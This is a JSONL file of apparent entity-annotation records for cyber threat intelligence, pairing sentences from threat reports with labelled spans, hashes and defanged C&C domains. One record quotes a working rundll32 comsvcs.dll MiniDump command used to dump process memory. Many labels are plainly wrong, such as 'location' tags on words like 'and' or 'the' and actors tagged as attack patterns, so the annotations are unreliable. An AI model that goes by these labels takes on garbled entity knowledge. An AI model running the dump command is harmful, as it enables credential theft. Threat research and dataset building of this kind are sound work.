{"id":3925,"text":"User Activity Checking Once Chopper successfully infects a system, the malicious actor will issue a query user (quser) command in an attempt to identify the primary user or those who are currently logged in as users in the system.","entities":[{"id":49773,"label":"malware","start_offset":28,"end_offset":35}],"relations":[],"Comments":[]}
{"id":2324,"text":"Analyzing the Mach-O was reminiscent of a CTF reverse engineering challenge.","entities":[],"relations":[],"Comments":[]}
{"id":4422,"text":"StartsWith(\"Help us protect you: Security advice from Google\")","entities":[],"relations":[],"Comments":[]}
{"id":14098,"text":"That makes it difficult to match code similarities, and that is why many of the indicators of code sharing are sparse across different samples.","entities":[],"relations":[],"Comments":[]}
{"id":6155,"text":"An example of a spear-phishing email sent by Earth Wendigo to a democracy activist.","entities":[{"id":19042,"label":"location","start_offset":16,"end_offset":21},{"id":19043,"label":"attack-pattern","start_offset":22,"end_offset":30}],"relations":[],"Comments":[]}
{"id":13587,"text":"Note the screenshot in Figure 6: The same web shell with the same \u201conly_pcd\u201d keyword is mentioned in this Chinese blog post.","entities":[{"id":51674,"label":"location","start_offset":106,"end_offset":113},{"id":51675,"label":"FILEPATH","start_offset":67,"end_offset":75}],"relations":[],"Comments":[]}
{"id":5308,"text":" Modules initialization  ","entities":[],"relations":[],"Comments":[]}
{"id":1827,"text":"Executing the anti-rootkit driver in the system     ","entities":[],"relations":[],"Comments":[]}
{"id":12442,"text":"We received leads from Facebook that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":13718,"text":"However, in one of its recent campaigns, we\u2019ve discovered a piece of Waterbear payload with a brand-new purpose: hiding its network behaviors from a specific security product by API hooking techniques.","entities":[{"id":42655,"label":"location","start_offset":94,"end_offset":99},{"id":42656,"label":"location","start_offset":158,"end_offset":166},{"id":42657,"label":"attack-pattern","start_offset":182,"end_offset":189}],"relations":[],"Comments":[]}
{"id":8113,"text":"Code snippet from Extra DEX downloaded by Camero","entities":[],"relations":[],"Comments":[]}
{"id":14208,"text":"Recently, the Winnti group, a threat actor with a past of traditional cybercrime -particularly with financial fraud, has been seen abusing GitHub by turning it into a conduit for the command and control (C&C) communications of their seemingly new backdoor (detected by Trend Micro as BKDR64_WINNTI.ONM).","entities":[{"id":48234,"label":"SOFTWARE","start_offset":139,"end_offset":146},{"id":48233,"label":"threat-actor","start_offset":14,"end_offset":26}],"relations":[],"Comments":[]}
{"id":13210,"text":"Steganography isn\u2019t just used to deliver encrypted payloads; it can also be used to transfer information to a C&C server.","entities":[{"id":41196,"label":"identity","start_offset":20,"end_offset":24},{"id":41197,"label":"location","start_offset":64,"end_offset":67},{"id":41198,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
{"id":2440,"text":" Exploit code for this remote code execution vulnerability has been made publicly available.","entities":[{"id":47509,"label":"attack-pattern","start_offset":23,"end_offset":44}],"relations":[],"Comments":[]}
{"id":6969,"text":"Crimson RAT and ObliqueRat spear-phishing email attachments that feature the same download domain     CapraRAT, One of Earth Karkaddan\u2019s custom Android RAT","entities":[{"id":21808,"label":"malware","start_offset":0,"end_offset":11},{"id":21809,"label":"location","start_offset":12,"end_offset":15},{"id":21810,"label":"malware","start_offset":16,"end_offset":26},{"id":21811,"label":"location","start_offset":27,"end_offset":32},{"id":21812,"label":"attack-pattern","start_offset":33,"end_offset":41},{"id":21813,"label":"location","start_offset":77,"end_offset":81},{"id":21814,"label":"malware","start_offset":102,"end_offset":110},{"id":21815,"label":"location","start_offset":112,"end_offset":115},{"id":21816,"label":"location","start_offset":119,"end_offset":124},{"id":21817,"label":"malware","start_offset":144,"end_offset":155}],"relations":[],"Comments":[]}
{"id":9267,"text":"The increase in efficiency simplifies investigations, optimizes SecOps productivity, and accelerates remediation to stop threat actors in their tracks before they have a chance to cause lasting damage.","entities":[{"id":28631,"label":"location","start_offset":85,"end_offset":88},{"id":28632,"label":"malware","start_offset":116,"end_offset":120},{"id":28633,"label":"location","start_offset":170,"end_offset":176}],"relations":[],"Comments":[]}
{"id":819,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  In January 2020, during the first Patch Tuesday of the new year, Microsoft released patches for 17 new vulnerabilities including one for CVE-2020-0601 known as Curveball.","entities":[{"id":44869,"label":"TIME","start_offset":56,"end_offset":68},{"id":44870,"label":"identity","start_offset":118,"end_offset":127},{"id":44871,"label":"TIME","start_offset":93,"end_offset":100},{"id":44872,"label":"vulnerability","start_offset":190,"end_offset":203},{"id":44873,"label":"vulnerability","start_offset":213,"end_offset":222}],"relations":[],"Comments":[]}
{"id":1717,"text":" The Dyre banking Trojan has multiple C2 mechanisms, including encrypted HTTPS requests to a list of hard-coded IP addresses, a DGA generating 1,000 new domains each day as well as an I2P based plugin.","entities":[{"id":46891,"label":"malware","start_offset":5,"end_offset":24},{"id":46892,"label":"SOFTWARE","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]}
{"id":13100,"text":"In fact, we\u2019ve already demonstrated our value to the organization in research last year, which uncovered design flaws and vulnerabilities in legacy programming languages used by some of its products.","entities":[],"relations":[],"Comments":[]}
{"id":1769,"text":"Although we are not aware of any attacks using this technique, these signatures have proven effective in our testing against code publicly available on the Internet.  When we take a closer look at the three exploits in our blog post last month, we see that various exploit techniques are based on a singular condition, which is arbitrary memory access.","entities":[],"relations":[],"Comments":[]}
{"id":1071,"text":"\u201cToast\u201d is typically used to display messages and notifications over other apps.","entities":[],"relations":[],"Comments":[]}
{"id":13072,"text":"In a data breach notice to affected users, events application Peatix said it learned that user account data had been improperly accessed.","entities":[],"relations":[],"Comments":[]}
{"id":10922,"text":"However, we were not able to find any of these modules in the wild.","entities":[],"relations":[],"Comments":[]}
{"id":6349,"text":"The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader.  While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.","entities":[{"id":19706,"label":"attack-pattern","start_offset":57,"end_offset":71},{"id":19707,"label":"location","start_offset":156,"end_offset":160},{"id":19708,"label":"location","start_offset":221,"end_offset":227}],"relations":[],"Comments":[]}
{"id":13968,"text":"For many of those in the more mature sectors who struggle less with resources, such as financial and government, this ideal state has been achieved by buying a large number of feature products for each layer.","entities":[],"relations":[],"Comments":[]}
{"id":9315,"text":"When we checked Mirrorthief\u2019s network infrastructure, we found that it did not have any overlap with any known cybercrime groups.","entities":[],"relations":[],"Comments":[]}
{"id":1398,"text":" Updated March 4, 2022, at 6:15 a.m. PT.","entities":[{"id":45006,"label":"TIME","start_offset":9,"end_offset":39}],"relations":[],"Comments":[]}
{"id":8297,"text":"Files with the following hashes were used in the second series of attacks:  fb5b5906feab268f90789b15351b8a193fb5f445a3ae9afb1da8fb814ed80325 \u2013 detected as VBS_KEYLOG.NYKW 306f4f843c5a5a119a3385ad2b18c78a04fac618031ddecabf0633083a6c9a76 \u2013 detected as VBS_KEYLOG.NYKW 33709ca050fd0abc2aba38326996bf1c3b6d9b875228c9f15e624f9002c199a8 \u2013 detected as VBS_OBFUS.VUJ ff0f9057d3da7b3500f145ce24670c89a93cdb5cbe74946b17397fc466ddfbda \u2013 detected as VBS_AUTORUN.ASUHK 9b7cc8f4807df162f99f5fa592bc7cc5c6a756d9c0311c7b2529f19a0ac59c1a \u2013 archive file; contents detected as VBS_OBFUS.VUK 587e38fb11bd0c4021ce6965e92838521616ee4c5506ef0fa160452e9c71d5cf \u2013 detected as VBS_OBFUS.VUK         Tags  APT & Targeted Attacks | Malware | Research | Articles, News, Reports","entities":[{"id":25570,"label":"SHA2","start_offset":76,"end_offset":140},{"id":25571,"label":"SHA2","start_offset":171,"end_offset":235},{"id":25572,"label":"SHA1","start_offset":266,"end_offset":330},{"id":25573,"label":"MD5","start_offset":359,"end_offset":423},{"id":25574,"label":"SHA1","start_offset":456,"end_offset":520},{"id":25575,"label":"SHA1","start_offset":572,"end_offset":636},{"id":25576,"label":"location","start_offset":679,"end_offset":682}],"relations":[],"Comments":[]}
{"id":13571,"text":"Doing so allows the threat actor to understand the environment and design attack scripts appropriate to the victim\u2019s environment.       Figure 3.","entities":[{"id":51651,"label":"malware","start_offset":74,"end_offset":88},{"id":51652,"label":"identity","start_offset":108,"end_offset":114},{"id":51653,"label":"threat-actor","start_offset":20,"end_offset":33}],"relations":[],"Comments":[]}
{"id":4917,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
{"id":13319,"text":"Indicators of Compromise (IoCs) Related Hashes (SHA-256): Detected as CVE-2018-0802.ZTFC:  1d128fd61c2c121d9f2e1628630833172427e5d486cdd4b6d567b7bdac13935e  BKDR_TCLT.ZDFB:  01087051f41df7bb030256c97497f69bc5b5551829da81b8db3f46ba622d8a69  BKDR64_TCLT.ZTFB:  6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334  TROJ_SCLT.ZTFB:  49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245  TROJ_TCDROP.ZTFB:  b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a 85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b  TROJ_TCLT.ZDFB:  02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456 fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6  URLs related to C&C communication:  qpoe[.]com wikaba[.]com tibetnews[.]today dns-stuff[.]com 2waky[.]com         Tags  Network | APT & Targeted Attacks | Research","entities":[{"id":41451,"label":"SHA2","start_offset":91,"end_offset":155},{"id":41452,"label":"MD5","start_offset":174,"end_offset":238},{"id":41453,"label":"SHA1","start_offset":259,"end_offset":323},{"id":41454,"label":"SHA1","start_offset":342,"end_offset":406},{"id":41455,"label":"SHA1","start_offset":427,"end_offset":491},{"id":41456,"label":"SHA2","start_offset":492,"end_offset":556},{"id":41457,"label":"SHA2","start_offset":557,"end_offset":621},{"id":41458,"label":"SHA2","start_offset":640,"end_offset":704},{"id":41459,"label":"SHA2","start_offset":705,"end_offset":769},{"id":41460,"label":"location","start_offset":901,"end_offset":904}],"relations":[],"Comments":[]}
{"id":10212,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
{"id":2980,"text":"Also, all modern operating systems allow you to make accounts \u201cregular user\u201d accounts rather than admin accounts.","entities":[],"relations":[],"Comments":[]}
{"id":13659,"text":"When the target user attempts to log in, credentials are recorded through a simple PHP script.","entities":[],"relations":[],"Comments":[]}
{"id":10412,"text":"We have yet to conclude this attack's exact purpose.","entities":[],"relations":[],"Comments":[]}
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{"id":8370,"text":"It was last updated on July 29, 2022.","entities":[],"relations":[],"Comments":[]}
{"id":5246,"text":"The Sphinx campaign operators cloaked the malware with icons of legitimate applications to dupe recipients into clicking them.","entities":[{"id":51281,"label":"campaign","start_offset":4,"end_offset":10}],"relations":[],"Comments":[]}
{"id":11393,"text":"NSO Group continues to pose risks across the Internet ecosystem.","entities":[],"relations":[],"Comments":[]}
{"id":1945,"text":"They have a malicious application that provides services for religion, as well as popular sports in the region.","entities":[],"relations":[],"Comments":[]}
{"id":6456,"text":"     Figure 6. id-server connection     ","entities":[],"relations":[],"Comments":[]}
{"id":2074,"text":"Where the threat actor keeps alluding to his \u201cGhost\u201d theme, a similar theme was observed in the HelloXD ransomware samples (Figure 19).  ","entities":[{"id":6160,"label":"malware","start_offset":46,"end_offset":51},{"id":6161,"label":"malware","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]}
{"id":3750,"text":"The injected commands worth mentioning that intended to further download payloads to a vulnerable machine can be categorized into the following broad categories:  We observed several instances of CVE-2022-22954 being exploited to drop variants of the Mirai malware.","entities":[{"id":49577,"label":"vulnerability","start_offset":196,"end_offset":210},{"id":49578,"label":"malware","start_offset":251,"end_offset":264}],"relations":[{"id":833,"from_id":49578,"to_id":49577,"type":"exploits"}],"Comments":[]}
{"id":5316,"text":"The parameters are then initialized.","entities":[],"relations":[],"Comments":[]}
{"id":476,"text":"In particular, security vendors are bringing automation to bear to counter the attackers\u2019 automation.","entities":[],"relations":[],"Comments":[]}
{"id":1698,"text":"For a moment, put yourself in the shoes of a cyber criminal.","entities":[],"relations":[],"Comments":[]}
{"id":119,"text":"Using multi-factor authentication to access all accounts can minimize this risk tremendously.","entities":[],"relations":[],"Comments":[]}
{"id":13743,"text":"This DLL name is hardcoded inside \"mtxoci.dll\" which is loaded by the MSDTC service during boot-up.","entities":[],"relations":[],"Comments":[]}
{"id":7425,"text":"How is OAuth abused?","entities":[],"relations":[],"Comments":[]}
{"id":12167,"text":"The exploit targeted iOS versions 12.4 through 13.7.","entities":[],"relations":[],"Comments":[]}
{"id":6027,"text":"The exploit was patched on February 14, 2022.","entities":[],"relations":[],"Comments":[]}
{"id":11939,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":4769,"text":"During the development stage, Android-created and open source components are subject to vigorous security reviews","entities":[{"id":50673,"label":"SOFTWARE","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
{"id":13007,"text":"In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.","entities":[{"id":48814,"label":"location","start_offset":3,"end_offset":9},{"id":48815,"label":"identity","start_offset":106,"end_offset":133}],"relations":[],"Comments":[]}
{"id":591,"text":" Hancitor is a malware that focuses getting other malware onto the victim\u2019s system.","entities":[{"id":44790,"label":"malware","start_offset":1,"end_offset":9}],"relations":[],"Comments":[]}
{"id":14012,"text":"There are also times when developers intentionally remove these associations and plant misleading information to avoid attribution.","entities":[],"relations":[],"Comments":[]}
{"id":1164,"text":" Mutex names provide a window into the entire development process and timeline for malware.","entities":[],"relations":[],"Comments":[]}
{"id":141,"text":"The first answer to this, as we\u2019ve outlined in our report, is that ransomware is a lucrative cybercriminal business model.","entities":[],"relations":[],"Comments":[]}
{"id":12184,"text":"In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.","entities":[],"relations":[],"Comments":[]}
{"id":7503,"text":"The second part contains functions related to the encryption, which is a standard RSA encryption with very small keys.","entities":[{"id":23345,"label":"location","start_offset":73,"end_offset":81},{"id":23346,"label":"identity","start_offset":82,"end_offset":85},{"id":23347,"label":"location","start_offset":107,"end_offset":112}],"relations":[],"Comments":[]}
{"id":4160,"text":"After long-term observation and analysis of the attack campaigns, there was compelling evidence that they were operated by Earth Centaur.","entities":[{"id":49968,"label":"attack-pattern","start_offset":123,"end_offset":136}],"relations":[],"Comments":[]}
{"id":1572,"text":" As detailed below, Bad Rabbit gains initial entry by posing as an Adobe Flash update.","entities":[{"id":45062,"label":"malware","start_offset":20,"end_offset":30},{"id":45063,"label":"SOFTWARE","start_offset":67,"end_offset":78}],"relations":[{"id":240,"from_id":45062,"to_id":45063,"type":"related-to"}],"Comments":[]}
{"id":13881,"text":"November 2020:","entities":[],"relations":[],"Comments":[]}
{"id":3061,"text":"Through analyzing the app\u2019s code we discovered a multiple indications that this program was not a legitimate Antivirus program, but actually Scareware.","entities":[],"relations":[],"Comments":[]}
{"id":5015,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[{"id":51073,"label":"identity","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
{"id":412,"text":" Unlike other cybersecurity threats we\u2019re used to bracing for around the holiday season, unauthorized coin mining attacks can affect shoppers who are up-to-date with security patches and even some running some security protections.","entities":[{"id":46110,"label":"attack-pattern","start_offset":89,"end_offset":121}],"relations":[],"Comments":[]}
{"id":6278,"text":"Users should be suspicious of any message indicating that an update for Flash is available in Google Chrome, as Chrome contains an integrated Flash runtime that is updated by Google.","entities":[],"relations":[],"Comments":[]}
{"id":2660,"text":" During the first calendar year quarter of 2022, LockBit 2.0 persisted as the most impactful and the most deployed ransomware variant we observed in all ransomware breaches shared on leak sites.","entities":[{"id":47849,"label":"threat-actor","start_offset":49,"end_offset":60},{"id":47848,"label":"TIME","start_offset":12,"end_offset":47}],"relations":[],"Comments":[]}
{"id":11917,"text":"No longer do groups need to have the technical expertise, now they just need resources.","entities":[{"id":36729,"label":"identity","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
{"id":6132,"text":"Our team was able to further uncover three new samples using the Ssanyong Motor Co., Ltd certificate and Google Code C2 redirection.","entities":[{"id":18968,"label":"tools","start_offset":29,"end_offset":36},{"id":18971,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
{"id":2269,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":6747,"label":"malware","start_offset":73,"end_offset":81},{"id":47336,"label":"identity","start_offset":20,"end_offset":26},{"id":47337,"label":"SOFTWARE","start_offset":118,"end_offset":125}],"relations":[],"Comments":[]}
{"id":7087,"text":"Feature  Name  Repository  Driver memory injection  Blackbone  https:\/\/github.com\/DarthTon\/Blackbone  NDIS network filtering driver  WFP Sample  \"WDK\\Windows Filtering Platform Stream Edit Sample\/C++\/sys\/stream_callout.c\u201d  ","entities":[{"id":22198,"label":"location","start_offset":27,"end_offset":33},{"id":22199,"label":"attack-pattern","start_offset":34,"end_offset":50},{"id":22200,"label":"URL","start_offset":63,"end_offset":100},{"id":22201,"label":"location","start_offset":125,"end_offset":131},{"id":22202,"label":"location","start_offset":137,"end_offset":143},{"id":22203,"label":"location","start_offset":189,"end_offset":195}],"relations":[],"Comments":[]}
{"id":4777,"text":"This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.","entities":[{"id":50678,"label":"identity","start_offset":46,"end_offset":52}],"relations":[],"Comments":[]}
{"id":1778,"text":"If the calculated value does not match the real value, it indicates some of the vector objects may have been modified.","entities":[],"relations":[],"Comments":[]}
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{"id":13558,"text":"Their server was illegally accessed and personal information, which included names, credit card numbers, card expiration dates, and credit card security codes, were potentially leaked.","entities":[{"id":51636,"label":"Infrastucture","start_offset":6,"end_offset":12}],"relations":[],"Comments":[]}
{"id":1525,"text":" Palo Alto Networks strongly recommends you inspect your systems and update your firewall rules and IPS systems.  Palo Alto Networks customers with active subscriptions to Threat Prevention are protected against these threats automatically, signature #13469 was released to protect against this specific threat.","entities":[{"id":46786,"label":"identity","start_offset":1,"end_offset":19},{"id":46787,"label":"identity","start_offset":114,"end_offset":132}],"relations":[],"Comments":[]}
{"id":10225,"text":"Recently, Norwegian authorities announced that Pawn Storm hacked the Norwegian parliament through brute force attacks.","entities":[{"id":31244,"label":"attack-pattern","start_offset":98,"end_offset":109}],"relations":[],"Comments":[]}
{"id":5319,"text":"After obtaining data from the modules, the core component starts the encryption routines that will cipher the data before sending it to the C&C server.","entities":[],"relations":[],"Comments":[]}
{"id":1721,"text":"While there are certainly many legitimate reasons to use an anonymity network, many organizations should be wary of I2P (or Tor) traffic transiting their network.","entities":[{"id":46898,"label":"SOFTWARE","start_offset":116,"end_offset":119},{"id":46897,"label":"tools","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
{"id":10437,"text":"For MSPs working with Trend Micro, we have a very positive news.","entities":[],"relations":[],"Comments":[]}
{"id":3014,"text":"The biggest risk that\u2019s been popularly discussed is voice command hijacking by outside sources.","entities":[],"relations":[],"Comments":[]}
{"id":1054,"text":"In a worst-case attack scenario, this vulnerability could be used to render the phone unusable (i.e., a \u201cbrick\u201d) or to install any kind of malware including (but not limited to) ransomware or information stealers.","entities":[],"relations":[],"Comments":[]}
{"id":7762,"text":"This could likely be an effort to bypass API hooking for HTTP.","entities":[{"id":24078,"label":"location","start_offset":11,"end_offset":17},{"id":24079,"label":"location","start_offset":24,"end_offset":30},{"id":24080,"label":"attack-pattern","start_offset":45,"end_offset":52}],"relations":[],"Comments":[]}
{"id":7491,"text":"The purpose of the .VBS script is to execute the PowerShell script.","entities":[{"id":23320,"label":"attack-pattern","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
{"id":66,"text":"That number is small, but it\u2019s important to note that it doesn\u2019t matter what country or network a Monero miner is part of: computers in Australia and Poland mine at the same speed.","entities":[{"id":44586,"label":"SOFTWARE","start_offset":98,"end_offset":104},{"id":44587,"label":"location","start_offset":136,"end_offset":145},{"id":44588,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]}
{"id":3026,"text":"While \u201ccar hacking\u201d is something that you see in the news, the reality is that practical smart car security is more common than headlines may lead you to believe.","entities":[],"relations":[],"Comments":[]}
{"id":8033,"text":"APT35 has relied on this technique since 2017 \u2014 targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":24916,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":24918,"label":"location","start_offset":93,"end_offset":101},{"id":24920,"label":"location","start_offset":137,"end_offset":140},{"id":24921,"label":"location","start_offset":141,"end_offset":149},{"id":24922,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
{"id":10855,"text":"      Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":9744,"text":"Fake Office document tries to get user to enable malicious macros.","entities":[],"relations":[],"Comments":[]}
{"id":7701,"text":"Vigen\u00e8re cipher in ServHelper and the Delphi code in stack overflow","entities":[{"id":23937,"label":"malware","start_offset":19,"end_offset":29},{"id":23938,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
{"id":4283,"text":"On the left, the weaponized document.","entities":[],"relations":[],"Comments":[]}
{"id":10980,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":4142,"text":"The group would also dump memory from the specified process by using comsvcs.dll: rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump 764 C:\\Windows\\TEMP\\dump.bin full Indicator Removal  To avoid exposing their footprints to investigators, the threat actors made their own tool to wipe out the event logs on the victimized machine.","entities":[{"id":49954,"label":"tools","start_offset":127,"end_offset":135},{"id":49955,"label":"FILEPATH","start_offset":140,"end_offset":164},{"id":49951,"label":"FILEPATH","start_offset":69,"end_offset":80},{"id":49952,"label":"FILEPATH","start_offset":82,"end_offset":94},{"id":49953,"label":"FILEPATH","start_offset":95,"end_offset":126}],"relations":[],"Comments":[]}
{"id":5053,"text":"We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[],"relations":[],"Comments":[]}
{"id":13602,"text":"The Gh0st RAT samples related to this campaign are obfuscated executable files, which decrypt the main payload in memory and execute its main export function named \u201cShellex.\u201d      Figure","entities":[{"id":51695,"label":"FILEPATH","start_offset":165,"end_offset":172},{"id":51694,"label":"malware","start_offset":4,"end_offset":13}],"relations":[{"id":1135,"from_id":51694,"to_id":51695,"type":"related-to"}],"Comments":[]}
{"id":1893,"text":"The link between Bahamut and Urpage can be best discussed by way of the multiple malicious Android samples that matched Bahamut's code and had C&C belonging to the Urpage infrastructure.","entities":[{"id":45170,"label":"Infrastucture","start_offset":143,"end_offset":146},{"id":45167,"label":"threat-actor","start_offset":120,"end_offset":128},{"id":5570,"label":"threat-actor","start_offset":17,"end_offset":24},{"id":5572,"label":"threat-actor","start_offset":29,"end_offset":35},{"id":5578,"label":"threat-actor","start_offset":164,"end_offset":170},{"id":47025,"label":"SOFTWARE","start_offset":91,"end_offset":106}],"relations":[{"id":289,"from_id":5570,"to_id":5572,"type":"related-to"}],"Comments":[]}
{"id":12606,"text":"We currently do not know the initial arrival vector of this threat into a potential victim\u2019s network.","entities":[{"id":39189,"label":"tools","start_offset":45,"end_offset":51}],"relations":[],"Comments":[]}
{"id":4540,"text":"Any one government\u2019s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.","entities":[],"relations":[],"Comments":[]}
{"id":5252,"text":" Was AnubisSpy actively distributed?","entities":[{"id":51293,"label":"malware","start_offset":5,"end_offset":14}],"relations":[],"Comments":[]}
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{"id":11136,"text":"We terminated 299 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":216,"text":"These attacks appear to have copied the messaging template observed in attacks exploiting the OctoberCMS vulnerability a month earlier on Jan.14, while adding a .onion web address and a message in red font that translates to, \u201cDo you need proof, see the link at the end.\u201d  ","entities":[{"id":44640,"label":"vulnerability","start_offset":94,"end_offset":118},{"id":44641,"label":"TIME","start_offset":138,"end_offset":144}],"relations":[],"Comments":[]}
{"id":2671,"text":" LockBit 2.0 has shown a decrease in dwell time in FY 2022.","entities":[{"id":47872,"label":"TIME","start_offset":51,"end_offset":58},{"id":47871,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
{"id":1694,"text":" General email best practices:  If you are unsure of the legitimacy of the email, contact the sender directly over the phone or by typing a trusted URL directly in your browser or saved bookmark.","entities":[],"relations":[],"Comments":[]}
{"id":12031,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":37235,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":37237,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
{"id":5280,"text":"We acquired a variant of the Cyclops Blink malware family that targets Asus routers.","entities":[{"id":51326,"label":"malware","start_offset":29,"end_offset":42},{"id":51327,"label":"identity","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
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{"id":1013,"text":" We talked with some sellers through AliWangWang, an instant message (IM) system developed by Taobao for online trading.","entities":[{"id":46513,"label":"SOFTWARE","start_offset":37,"end_offset":48},{"id":46514,"label":"identity","start_offset":94,"end_offset":100}],"relations":[],"Comments":[]}
{"id":4477,"text":"Among other targets, this spyware was used to compromise journalists and opposition politicians.","entities":[],"relations":[],"Comments":[]}
{"id":13999,"text":"It is important to note that previous analysis of suspected APT37 activities from different security vendors date from 2016, and the captured samples for the Operation Earth Kitsune have been developed recently.","entities":[{"id":48786,"label":"threat-actor","start_offset":60,"end_offset":66},{"id":48787,"label":"TIME","start_offset":119,"end_offset":123},{"id":48788,"label":"campaign","start_offset":158,"end_offset":182}],"relations":[{"id":463,"from_id":48786,"to_id":48787,"type":"related-to"}],"Comments":[]}
{"id":13980,"text":"ATT&CK \u201c\u2026is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.\u201d","entities":[],"relations":[],"Comments":[]}
{"id":10881,"text":"  Table 1. Similar malicious samples found on VirusTotal     The sample 75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b  serves as the key attribution factor and is the main link to the StrongPity threat actor, because it communicates with a C&C server that was previously identified by several research teams as infrastructure used by the group.  Tools, tactics, and procedures on Windows","entities":[{"id":33124,"label":"location","start_offset":65,"end_offset":71},{"id":33125,"label":"MD5","start_offset":72,"end_offset":136},{"id":33126,"label":"location","start_offset":175,"end_offset":178},{"id":33127,"label":"threat-actor","start_offset":203,"end_offset":213},{"id":33128,"label":"location","start_offset":381,"end_offset":384}],"relations":[],"Comments":[]}
{"id":1239,"text":"But as of June 4, 2014, only 13.6% of worldwide users had installed Android 4.4 or above.","entities":[{"id":44947,"label":"TIME","start_offset":10,"end_offset":22},{"id":44948,"label":"SOFTWARE","start_offset":68,"end_offset":80}],"relations":[],"Comments":[]}
{"id":5687,"text":" Previous research into the group\u2019s activities attributed it to other threat actors such as the Winnti group due to the use of malware such as Winnti, but despite some similarities, we consider Earth Lusca a separate threat actor (we do have evidence, however, that the group is part of the \u201cWinnti cluster,\u201d which is comprised of different groups with the same origin country and share aspects of their TTPs).","entities":[{"id":17540,"label":"malware","start_offset":292,"end_offset":298},{"id":17541,"label":"location","start_offset":357,"end_offset":361},{"id":17542,"label":"location","start_offset":377,"end_offset":380}],"relations":[],"Comments":[]}
{"id":6764,"text":"They moved on to Ukrainian government institutions after the revolution.","entities":[],"relations":[],"Comments":[]}
{"id":8326,"text":"Again, the response is expected to be \"OK\".","entities":[],"relations":[],"Comments":[]}
{"id":12233,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":262,"text":"For example, we detected two domains distributing the same malicious binary where one domain was impersonating a popular, widely used video conferencing application and the other a widely used internet browser.","entities":[],"relations":[],"Comments":[]}
{"id":2881,"text":"All three exploits share the same exploit techniques:  All the Flash files used across the exploits have similar structures and even the same variable names.","entities":[{"id":48080,"label":"SOFTWARE","start_offset":63,"end_offset":68}],"relations":[],"Comments":[]}
{"id":5781,"text":"My name's Ed Cabrera.","entities":[],"relations":[],"Comments":[]}
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{"id":659,"text":"The spread of Petya using this vulnerability indicates that many organizations may still be vulnerable, despite the attention WannaCry received.","entities":[{"id":2163,"label":"malware","start_offset":14,"end_offset":19},{"id":2166,"label":"malware","start_offset":126,"end_offset":134}],"relations":[],"Comments":[]}
{"id":5449,"text":"And that means the money in your accounts is at risk.","entities":[],"relations":[],"Comments":[]}
{"id":12679,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[{"id":39338,"label":"tools","start_offset":48,"end_offset":54},{"id":39339,"label":"location","start_offset":55,"end_offset":58},{"id":39340,"label":"location","start_offset":59,"end_offset":67},{"id":39341,"label":"location","start_offset":84,"end_offset":87},{"id":39342,"label":"location","start_offset":121,"end_offset":130}],"relations":[],"Comments":[]}
{"id":5304,"text":"Destination ports: 636, 994, and 995","entities":[],"relations":[],"Comments":[]}
{"id":3448,"text":"These were found by analysis of the packet captures that triggered the F5 BIG-IP Authentication Bypass Vulnerability signature.","entities":[{"id":49220,"label":"vulnerability","start_offset":81,"end_offset":116},{"id":49221,"label":"tools","start_offset":71,"end_offset":80}],"relations":[{"id":759,"from_id":49221,"to_id":49220,"type":"has"}],"Comments":[]}
